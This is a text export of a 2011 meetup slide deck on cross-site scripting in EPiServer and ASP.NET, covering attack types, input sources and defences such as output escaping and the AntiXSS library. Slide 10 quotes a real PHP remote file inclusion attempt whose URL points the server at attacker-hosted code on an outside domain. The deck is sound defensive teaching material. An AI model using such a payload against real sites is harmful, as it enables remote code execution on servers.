XSS – CROSS SITE SCRIPTING

Oslo EPiServer Meetup #7 – 25th May 2011

© Creuna Slide 1

DEFINITION

Cross site scripting is a form of attack where the attacker is able to run arbitrary javascript code in a web page viewed by another user

XSS compromises the client side, not the server

But depending on the nature of the website it can be a serious security risk

© Creuna Slide 2

CONSEQUENCES

XSS may be used to

- Steal session cookies

- Perform any action that the attacked user has rights to do, maybe even without him knowing

- Display false or modified content

- XSS attacks may spread like a software worm, for instance in a social network site. A user posts the

attacking code which infects his friends, they post and so on.

© Creuna Slide 3

TWO TYPES OF XSS

Non persistent:

A user follows a malicious link or form from a dangerous website, email, etc. The vulnerable website writes the XSS attack to the response, and only this user

is affected

Persistent:

The XSS attack code is stored on the vulnerable web site, for instance in a user comment. All subsequent users of the web site may be exposed to the XSS

attack

© Creuna Slide 4

WHERE DOES THE XSS ATTACK COME FROM?

All content from insecure sources is potentially dangerous

- Form submissions

- Urls

- All other sources, RSS feeds, integrated systems, etc.

© Creuna Slide 5

FORM SUBMISSIONS

Dangerous content may come through POST variables

Remember that POST requests do not necessarily originate from a form on a page you served the user, an attacker may craft a webpage or request targeting your web site

DEMO

(Demo showed a simple ASP.NET form writing a submitted text back to the page on postback. By default dangerous POST variables result in an exception in ASP.NET, so we are covered, right? Next demo showed same principle in a minimally modified EPiServer demo site, and the XSS attack was successful. EPiServer turns off ASP.NETs input verification in its default configuration.)

© Creuna Slide 6

URL INPUT

Do you write the value of Request.Url back to your response?

Yes, even ASP.NET itself does that

DEMO

(Demo showed using a url with XSS in it in a standard ASP.NET web site, and we got an exception like with the POST attack. EPiServer proved vulnerable again.)

© Creuna Slide 7

EPISERVER

ASP.NET is normally well secured against XSS

But EPiServer turns this feature off by default

We must always give external input an extra thought in EPiServer, ASP.NETs normal safety net is turned off!

© Creuna Slide 8

HOW DO WE SECURE OURSELVES AGAINS XSS?

Always make sure to escape data from unsecure sources if you are going to write it to the response

This also applies to urls, like Request.Url

Do not trust your own ability to foresee all scenarios so do not write the code for this yourself

Use a well tested and reviewed framework

For instance Microsofts AntiXSS: http://wpl.codeplex.com/

© Creuna Slide 9

ARE YOU USING PHP?

As PHP is a script language, similar attacks may actually compromise the server side

Real world example from one of our projects:

<form method="post" action="/no/?_SERVER%25255bDOCUMENT_ROOT%25255d=http://bungalowsdemo.info/images/test.gif” id="aspnetForm">

This attack would make the server run the PHP code in test.gif, which is not a picture but PHP code

The website bungalowsdemo.info is probably unknowingly attacked and used to host the attack code

© Creuna Slide 10

EXTERNAL SCRIPT FILES

Do you include external script files in your web site?

For instance, do you use Googles/Microsofts CDN for javascript?

Real world example, web statistics tool:

<script src=http://res.xtractor.no/x.js type="text/javascript"></script>

© Creuna Slide 11

EXTERNAL SCRIPT FILES

If you reference external script files you give another domain/source the right to run javascript on your web site

Of course you can trust Googles or Microsofts CDN to deliver proper code

But a different domain may be vulnerable to DNS attacks

An attacker may manipulate DNS on the local machine or network to deliver external scripts from a different source

If all referenced script files are from the same domain as the viewed web page you avoid this vulnerability

© Creuna Slide 12

QUESTIONS?

© Creuna Slide 13